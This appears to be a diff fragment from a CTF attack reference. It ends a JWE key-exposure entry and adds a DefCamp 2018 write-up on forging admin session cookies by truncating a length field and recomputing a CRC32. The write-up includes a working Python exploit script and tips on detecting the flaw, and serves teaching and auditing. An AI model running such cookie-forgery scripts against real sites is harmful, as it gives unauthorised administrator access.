+ **Detection:** Token has 5 base64url segments separated by dots (JWE compact format: header.enckey.iv.ciphertext.tag) vs. JWT's 3 segments. Endpoints that expose RSA public keys.
153
+
154
+ **Key insight:** JWE encryption ≠ authentication. If the server trusts any token it can decrypt without additional signature verification, exposing the public key lets you forge arbitrary claims. Look for public key endpoints and try encrypting modified payloads.
155
+
156
+ ---
157
+
158
+ ## AES Cookie Length-Field Truncation + CRC32 Swap (DefCamp 2018)
159
+
160
+ **Pattern:** A session cookie has the shape `AES(key¡value÷...¡)+<len>+<CRC32>`. The application parses the decrypted blob up to `<len>` bytes and trusts a CRC32 checksum for integrity. During registration the attacker controls the plaintext: embed `id¡1¡` early in the username, shorten `<len>` to truncate at that point, and recompute the CRC32 over the shortened payload. The deserializer now sees `id=1` (admin) and the CRC32 check still passes because CRC32 is not a MAC.
161
+
162
+ ```python
163
+ import struct, zlib, requests, base64
164
+
165
+ # 1. Register with a username that embeds the target field early.
166
+ # The challenge stores fields as key\xa1value\xf7, AES-encrypts them,
167
+ # then appends a 2-byte length and a 4-byte CRC32.
168
+ payload_fields = b"name\xa1attacker\xf7id\xa11\xf7role\xa1user\xf7"
169
+ # 2. Grab the encrypted cookie the server set.
170
+ sess = requests.Session()
171
+ sess.post("http://target/register",
172
+ data={"user": "attacker", "pass": "x", "payload": payload_fields})
173
+ cookie = base64.b64decode(sess.cookies["session"])
174
+ ct, rest = cookie[:-6], cookie[-6:] # split off length + CRC32
175
+ # 3. Truncate: keep only bytes up to and including "id\xa11\xf7"
176
+ truncated_plain = b"name\xa1attacker\xf7id\xa11\xf7"
177
+ new_len = struct.pack("<H", len(truncated_plain))
178
+ new_crc = struct.pack("<I", zlib.crc32(ct[: len(truncated_plain)]))
179
+ forged = base64.b64encode(ct[: len(truncated_plain)] + new_len + new_crc)
180
+ sess.cookies["session"] = forged.decode()
181
+ print(sess.get("http://target/admin").text)
182
+ ```
183
+
184
+ **Key insight:** CRC32 is a checksum, not a message authentication code — it is linear, so flipping any bit in the ciphertext and recomputing the CRC yields a still-"valid" cookie. Combined with a length field that tells the parser how many bytes to decode, the attacker can truncate (or extend) the plaintext at any point. Audit cookies that decrypt to a length-prefixed payload and watch for the signature algorithm: if it is `crc32`, `adler32`, `md5`, or anything that is not an HMAC/AEAD, assume forgery.
185
+
186
+ **References:** DefCamp CTF Qualification 2018 — Get Admin, writeup 11430